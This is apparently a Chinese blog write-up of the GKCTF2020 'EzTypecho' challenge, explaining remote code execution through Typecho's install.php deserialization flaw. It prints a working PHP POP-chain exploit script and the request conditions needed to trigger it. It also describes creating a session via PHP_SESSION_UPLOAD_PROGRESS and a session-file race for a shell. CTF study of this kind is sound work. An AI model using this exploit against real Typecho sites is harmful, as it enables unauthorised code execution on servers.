0%

GKCTF2020 EzTypecho

[GKCTF2020]EzTypecho

暑假恢复刷题,顺便把以前堆积的东西也都更新到博客上,清一下桌面
GKCTF这次题感觉好多都是现有CVE之类的东西,然后加一点点
题目是一个typecho的安装流程,但是安装到一半就不给安装了,想了半天不知道他想让我怎样才能安装,后来才知道是typecho在安装时install.php有一个反序列化的任意代码执行。
最后题目还要求反序列化需要一个session,需要自己想办法建立一个session

题解

typecho反序列化的pop链网上都有分析了,抄一个脚本执行任意命令
https://www.freebuf.com/vuls/155753.html

<?php
$CMD = 'system("cat /flag")';

class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';

    private $_type;
    private $_items;

    public function __construct() {
        //$this->_type = $this::RSS2;

        $this->_type = $this::ATOM1;
        $this->_items[0] = array(
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct() {
        $this->_params['screenName'] = $GLOBALS[CMD];
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

payload添加在cookie或post数据中都可,键名为__typecho_config
这里有一个注意点,需要$_GET[‘start’]或$_GET[‘finish’]不为空,且Referer是本站时install.php才会进入反序列化逻辑部分。出题人似乎是在$_GET[‘finish’]这里做了过滤,需要拥有一个session才能触发反序列化,但是如果你用$_GET[‘start’]触发反序列化的话就不需要看后面的内容了

PHP_SESSION_UPLOAD_PROGRESS

用于跟踪PHP文件上传进度的一个功能,可以通过这个功能自行创建一个session,好像在其他题目中用于条件竞争session文件反序列化来getshell,这里用这个创建一个session进行反序列化就可以了
先看一下PHP manual中怎么描述的

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得。 当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。

而session.upload_progress.name的默认值就是PHP_SESSION_UPLOAD_PROGRESS
因此我们在触发反序列化的时候同时手搓一个文件上传,并post一个名为PHP_SESSION_UPLOAD_PROGRESS的数据,就可以为当前会话添加一个session

其他东西

session文件的文件名为sess_+PHPSESSID的值,在默认设置下允许用户自定义PHPSESSID的值,可以创建出对应的session文件,而PHP_SESSION_UPLOAD_PROGRESS的值可控,并会被写入session文件,条件竞争包含getshell